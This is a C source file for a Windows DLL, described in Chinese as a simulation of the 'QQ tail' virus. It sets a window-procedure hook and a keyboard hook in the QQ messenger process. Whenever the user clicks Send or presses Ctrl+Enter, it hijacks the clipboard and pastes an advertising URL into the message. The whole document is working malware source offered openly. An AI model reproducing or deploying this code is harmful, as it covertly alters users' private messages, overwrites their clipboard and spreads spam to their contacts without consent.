hook.c

这是一个C语言编写QQ尾巴病毒仿真程序

#include <windows.h>
#define QQTAILAPI __declspec(dllexport)
#include "Hook.h"
// 定义共享数据段
#pragma data_seg("shared")
HHOOK g_hProc = NULL; // 窗口过程钩子句柄
HHOOK g_hKey = NULL; // 键盘钩子句柄
HWND g_hRich = NULL; // 文本框句柄
#pragma data_seg()
#pragma comment(linker, "/section:shared,rws")
// DLL句柄
HINSTANCE g_hInstDLL = NULL;
// 我的“尾巴”
TCHAR g_str[] = "欢迎来我的小站坐坐：http://titilima.nease.net";
// 函数功能：向文本框中粘贴尾巴
void PasteText(HWND hRich)
{
  HGLOBAL hMem;
  LPTSTR pStr;
  // 分配内存空间
  hMem = GlobalAlloc(GHND | GMEM_SHARE, sizeof(g_str));
  pStr = GlobalLock(hMem);
  lstrcpy(pStr, g_str);
  GlobalUnlock(hMem);
  OpenClipboard(NULL);
  EmptyClipboard();
  // 设置剪贴板文本
  SetClipboardData(CF_TEXT, hMem);
  CloseClipboard();
  // 释放内存空间
  GlobalFree(hMem);
  // 粘贴文本
  SendMessage(hRich, WM_PASTE, 0, 0);
}
// 钩子过程，监视“发送”的命令消息
LRESULT CALLBACK CallWndProc(int nCode, WPARAM wParam, LPARAM lParam)
{
  CWPSTRUCT *p = (CWPSTRUCT *)lParam;
  // 捕获“发送”按钮
  if (p->message == WM_COMMAND && LOWORD(p->wParam) == 1)
    PasteText(g_hRich);
  return CallNextHookEx(g_hProc, nCode, wParam, lParam);
}
// 键盘钩子过程，监视“发送”的热键消息
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
  // 捕获热键消息
  if (wParam == VK_RETURN && GetAsyncKeyState(VK_CONTROL) < 0 && lParam >= 0)
    PasteText(g_hRich);
  return CallNextHookEx(g_hKey, nCode, wParam, lParam);
}
// 挂接钩子
BOOL WINAPI SetHook(HWND hQQ)
{
  BOOL bRet = FALSE;
  if (hQQ != NULL)
  {
    DWORD dwThreadID = GetWindowThreadProcessId(hQQ, NULL);
    // 感谢好友hottey的查找代码，省去了我使用Spy++的麻烦
    g_hRich = GetWindow(GetDlgItem(hQQ, 0), GW_CHILD);
    if (g_hRich == NULL)
      return FALSE;
    // 挂接钩子
    g_hProc = SetWindowsHookEx(WH_CALLWNDPROC, CallWndProc, g_hInstDLL, dwThreadID);
    g_hKey = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, g_hInstDLL, dwThreadID);
    bRet = (g_hProc != NULL) && (g_hKey != NULL);
  }
  else
  {
    // 卸载钩子
    bRet = UnhookWindowsHookEx(g_hProc) && UnhookWindowsHookEx(g_hKey);
    g_hProc = NULL;
    g_hKey = NULL;
    g_hRich = NULL;
  }
  return bRet;
}
// DLL主函数
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
  if (fdwReason == DLL_PROCESS_ATTACH)
    g_hInstDLL = hinstDLL;
  return TRUE;
}